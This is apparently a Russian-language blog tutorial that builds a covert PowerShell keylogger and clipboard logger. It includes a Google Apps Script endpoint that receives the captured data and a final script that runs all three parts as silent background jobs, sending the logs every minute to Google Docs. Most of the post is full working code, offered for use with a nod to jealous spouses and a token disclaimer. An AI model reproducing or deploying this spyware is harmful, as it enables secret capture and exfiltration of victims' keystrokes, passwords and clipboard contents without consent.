Для приготовления нам понадобятся PowerShell v3, PowerShell ISE, браузер и аккаунт Google.
Идем на drive.google.com, создаем новый документ. Я назвал его key.log.
Копируем из адресной строки браузера его ID и закрываем.
Создаем скрипт (можно путем перехода по адресу script.google.com). Я назвал его PSKeyLogger.
Пишем код скрипта.
function myFunction() { var docId = 'ID_документа'; var doc = DocumentApp.openById(docId); if (!doc) return; var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + '\n' + 'Hello, PSKeyLogger!'); }
Авторизуем скрипт для работы с Document Services путем выполнения myFunction().
Проверим файл key.log.
Переименуем myFunction() в doPost(e). Немного изменим код скрипта - будем читать параметр с именем keys.
function doPost(e) { if (!e.parameter.keys) return; var docId = 'ID_документа'; var doc = DocumentApp.openById(docId); if (!doc) return; var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + '\n' + e.parameter.keys); }
Сохраняем версию и разворачиваем веб-приложение.
Копируем URL приложения.
Открываем PowerShell ISE, создаем новый скрипт, пишем код.
Add-Type -AssemblyName System.Web $url = "https://script.google.com/macros/s/URL_скрипта/exec?keys=" $req = $url + [System.Web.HttpUtility]::UrlEncode("Hello, PSKeyLogger! #2!") "request = " + $req $res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $req ($res.StatusCode -eq 200)
Запускаем скрипт. После того, как получаем ответ от сервера, в консоли появляется сравнение статуса результата запроса с ОК - 200.
Проверим файл key.log еще раз.
Создаем еще один ps-скрипт - непосредственно клавиатурный шпион. На авторство не претендую: идея - nishang, реализация - shima. Мои изменения - незначительны.
$MAPVK_VSC_TO_VK_EX = 0x03 $virtualkc_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@ $kbstate_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); '@ $mapchar_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); '@ $tounicode_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru $ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд $logfile = "$env:temp\key.log" # путь к файлу журнала while ($true) { Start-Sleep -Milliseconds $ss_ms $gotit = "" for ($char = 1; $char -le 254; $char++) { $gotit = $getKeyState::GetAsyncKeyState($char) if ($gotit -eq -32767) { $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX) $kbstate = New-Object Byte[] 256 $checkkbstate = $getKBState::GetKeyboardState($kbstate) $mychar = New-Object -TypeName "System.Text.StringBuilder"; $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0) if ($unicode_res -gt 0) { [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode) } } } }
Запускаем скрипт, нажимаем несколько кнопок на клавиатуре, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала.
В контексте настоящего повествования не может не заинтересовать содержимое буфера обмена, для чего создаем еще один скрипт.
Add-Type -AssemblyName System.Windows.Forms $ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд $cbtext = "" $cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена while ($true) { Start-Sleep -Milliseconds $ss_ms $tb = New-Object System.Windows.Forms.TextBox $tb.Multiline = $true $tb.Paste() $cb = $tb.Text if ($cbtext -ne $cb) { $cbtext = $cb Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString() } }
Запускаем скрипт, копируем несколько строчек в буфер обмена, после чего прерываем бесконечный цикл (Ctrl+C).
Читаем содержимое журнала буфера обмена
Идем на drive.google.com, создаем новый документ. Я назвал его сlipboard.log.
Копируем из адресной строки браузера его ID и закрываем.
Переходим к скрипту PSKeyLogger, меняем его код с учетом появившегося файла журнала буфера обмена.
function doPost(e) { var docId = 'ID_журнала_клавиатурного_шпиона'; var clipId = 'ID_журнала_буфера_обмена'; if (e.parameter.keys) { var doc = DocumentApp.openById(docId); if (doc) { var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + '\n' + e.parameter.keys); } } if (e.parameter.clip) { var doc = DocumentApp.openById(clipId); if (doc) { var body = doc.getBody().setText(String(Utilities.formatDate(new Date(),Session.getTimeZone(),"yyyy-MM-dd' 'HH:mm:ss")) + '\n' + e.parameter.clip); } } }
Возвращаемся обратно в PowerShell ISE, создаем еще один скрипт, который будет читать содержимое обоих журналов и закидывать данные по адресу скрипта на drive.google.com.
Add-Type -AssemblyName System.Web $url = "https://script.google.com/macros/s/URL_скрипта/exec?" $ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд $logfile = "$env:temp\key.log" $cbfile = "$env:temp\сlipboard.log" $logpre = "keys=" $clippre = "clip=" while ($true) { Start-Sleep -Seconds $ss_s $arr = @() if (Test-Path $logfile) { $arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile)) } if (Test-Path $cbfile) { $arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile)) } if ($arr.Length -ne 0) { $res = Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&") ($res.StatusCode -eq 200) } }
Запускаем скрипт, ждем 60 секунд до тех пор, пока в консоли отобразится сравнение статуса результата запроса с ОК - 200, после чего прерываем бесконечный цикл (Ctrl+C).
Переходим на drive.google.com, проверяем содержимое наших журналов.
key.log:
clipboard.log:
В завершение возвращаемся в PowerShell ISE, создаем финальный ps-скрипт: оборачиваем предыдущие скрипты в -ScriptBlock{} командлета Start-Job. Каждому из трех командлетов добавляем параметр -ErrorAction SilentlyContinue.
Start-Job -ScriptBlock { $MAPVK_VSC_TO_VK_EX = 0x03 $virtualkc_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] public static extern short GetAsyncKeyState(int virtualKeyCode); '@ $kbstate_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int GetKeyboardState(byte[] keystate); '@ $mapchar_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int MapVirtualKey(uint uCode, int uMapType); '@ $tounicode_sig = @' [DllImport("user32.dll", CharSet=CharSet.Auto)] public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags); '@ $getKeyState = Add-Type -MemberDefinition $virtualkc_sig -name "Win32GetState" -namespace Win32Functions -passThru $getKBState = Add-Type -MemberDefinition $kbstate_sig -name "Win32MyGetKeyboardState" -namespace Win32Functions -passThru $getKey = Add-Type -MemberDefinition $mapchar_sig -name "Win32MyMapVirtualKey" -namespace Win32Functions -passThru $getUnicode = Add-Type -MemberDefinition $tounicode_sig -name "Win32MyToUnicode" -namespace Win32Functions -passThru $ss_ms = 50 # выполнение кода в бесконечном цикле каждые 50 миллисекунд $logfile = "$env:temp\key.log" # путь к файлу журнала while ($true) { Start-Sleep -Milliseconds $ss_ms $gotit = "" for ($char = 1; $char -le 254; $char++) { $gotit = $getKeyState::GetAsyncKeyState($char) if ($gotit -eq -32767) { $scancode = $getKey::MapVirtualKey($char, $MAPVK_VSC_TO_VK_EX) $kbstate = New-Object Byte[] 256 $checkkbstate = $getKBState::GetKeyboardState($kbstate) $mychar = New-Object -TypeName "System.Text.StringBuilder"; $unicode_res = $getUnicode::ToUnicode($char, $scancode, $kbstate, $mychar, $mychar.Capacity, 0) if ($unicode_res -gt 0) { [System.IO.File]::AppendAllText($logfile, $mychar.ToString(), [System.Text.Encoding]::Unicode) } } } } } -ErrorAction SilentlyContinue Start-Job -ScriptBlock { Add-Type -AssemblyName System.Windows.Forms $ss_ms = 500 # выполнение кода в бесконечном цикле каждые 500 миллисекунд $cbtext = "" $cbfile = "$env:temp\сlipboard.log" # путь к файлу журнала буфера обмена while ($true) { Start-Sleep -Milliseconds $ss_ms $tb = New-Object System.Windows.Forms.TextBox $tb.Multiline = $true $tb.Paste() $cb = $tb.Text if ($cbtext -ne $cb) { $cbtext = $cb Out-File -FilePath $cbfile -Encoding Unicode -Append -InputObject $cbtext.ToString() } } } -ErrorAction SilentlyContinue Start-Job -ScriptBlock { Add-Type -AssemblyName System.Web $url = "https://script.google.com/macros/s/URL_скрипта/exec?" $ss_s = 60 # выполнение кода в бесконечном цикле каждые 60 секунд $logfile = "$env:temp\key.log" $cbfile = "$env:temp\сlipboard.log" $logpre = "keys=" $clippre = "clip=" while ($true) { Start-Sleep -Seconds $ss_s $arr = @() if (Test-Path $logfile) { $arr += $logpre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $logfile)) } if (Test-Path $cbfile) { $arr += $clippre + [System.Web.HttpUtility]::UrlEncode((Get-Content -Path $cbfile)) } if ($arr.Length -ne 0) { Invoke-WebRequest -Method Post -ContentType "application/x-www-form-urlencoded" -Uri $url -Body ($arr -join "&") } } } -ErrorAction SilentlyContinue
Запускаем скрипт - в PowerShell ISE можно нажатием F5.
Спустя минуту-другую остановим и удалим все выполняемые в текущем сеансе задания.
Проверим журналы - в процессе выполнения скрипта я нажимал на кнопки на клавиатуре и копировал пару кусков кода в буфер обмена.
key.log:
clipboard.log:
Party's over. Результат - симбиоз платформ COM и .NET, Windows Management Framework, облачных сервисов Google, PowerShell и JavaScript.
Резюмируя повествование, хочу обратить внимание любознательного читателя, что полученное решение может пригодиться далеко не только ревнивым супругам. Как использовать полученный код - решать вам ;).
Ну и дисклеймер на всякий случай: за "допиливание" полученного кода с целью противозаконного использования автор ответственности не несет.
Комментариев нет:
Отправить комментарий
Комментарий будет опубликован после модерации